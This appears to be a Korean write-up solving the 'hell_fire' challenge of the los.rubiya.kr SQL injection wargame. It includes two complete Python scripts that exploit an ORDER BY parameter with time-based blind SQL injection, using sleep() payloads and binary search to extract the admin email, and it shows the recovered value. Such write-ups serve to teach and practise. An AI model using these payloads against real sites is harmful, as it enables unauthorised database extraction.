분석
이번엔 order을 get 방식으로 받고.. 위에 id, email, score 가 적혀있습니다.
union 사용 불가 proc도?
order by를 사용해서 order 칼럼으로 정렬하고
열을 받아서 id가 admin이면 이메일을 **************로 설정하고
표대로 출력합니다.
쿼리를 보낼 때
email도 받네요. id가 admin이고 email이 admin 이메일이 맞다면 문제를 풉니다.
id에 대해서 정렬하면 이렇게 두 개의 계정이 존재하고
생각해보면 email이 ****.. 인건 result로 받아서 따로 출력할 때만 하는거라 db에 있는 메일은 변하지 않네요.
여기선 email을 알아내는 것이 문제인 것 같습니다.
쿼리가 참이면 표에 데이터가 나타나고..
order by에 관한 sql injection 글을 보다가
https://ch4njun.tistory.com/79
time based 로 해보면 될거 같아서 일단 제 mysql에 진행해봤습니다.
그러면 이대로 time based sql injection 쿼리를 작성해보면..?
풀이
time based sqli 구문은 위 링크를 참고해서 만들었습니다.
time 모듈을 사용하더군요
import requests
import time
url = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?'
cookie = {'PHPSESSID':'cookie'}
check = '1234567890abcdefghijklmnopqrstuvwxyz!@$^*()'
for i in range(1, 100) :
query = 'order=id, (select sleep(2) where id=\'admin\' and length(email)={})'.format(i)
print(query, i)
t1 = time.time()
req = requests.get(url+query, cookies=cookie)
t2 = time.time()
if(t2-t1 > 1.5) :
print('email len:',i)
break
이렇게 코드를 작성하고
실행해보면 email 길이는 28입니다.
파이썬을 작성하고 실행하면 이렇게 나오는데 중간중간 문자를 못 찾고 빠져버립니다.
.com일텐데 .도 못 찾고.. 분명 check에 넣어두었는데..
혹시 sql에서는 .을 \.로 쓰는건가..? 싶기도 해서
그냥 hex로 비교해야겠습니다.
아니 이렇게 해도 이상하게 나오네
그럼 범위를 넓게 잡고 또 이진탐색 합시다.. 이번엔 한글까지 쓰진 않을테니 ascii 1byte 최대인 0xff로 잡고
import requests
import time
url = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php?'
cookie = {'PHPSESSID':'cookie'}
# for i in range(1, 100) :
# query = 'order=id, (select sleep(2) where id=\'admin\' and length(email)={})'.format(i)
# print(query, i)
# t1 = time.time()
# req = requests.get(url+query, cookies=cookie)
# t2 = time.time()
# if(t2-t1 > 1.5) :
# print('email len:',i)
# break
length = 28
email = ''
for i in range(1, length+1) :
high = 0xff
low = 0x0
while(low <= high) :
mid = (low+high)//2
query = 'order=id, (select sleep(2) where id=\'admin\' and ord(substr(email,{},1))={})'.format(i, mid)
print(query, 'find:',email)
t1 = time.time()
req = requests.get(url+query, cookies=cookie)
t2 = time.time()
if(t2-t1 >= 2) : #equal
email += chr(mid)
break
query = 'order=id, (select sleep(2) where id=\'admin\' and ord(substr(email,{},1))>{})'.format(i, mid)
print(query)
t1 = time.time()
req = requests.get(url+query, cookies=cookie)
t2 = time.time()
if(t2-t1 >= 2) :
low = mid+1
continue
else :
high = mid-1
continue
print('email:',email)
후..
나왔다
admin_secure_email@emai1.com
ㅠㅠㅠ..
time based를 처음으로 해봤습니다..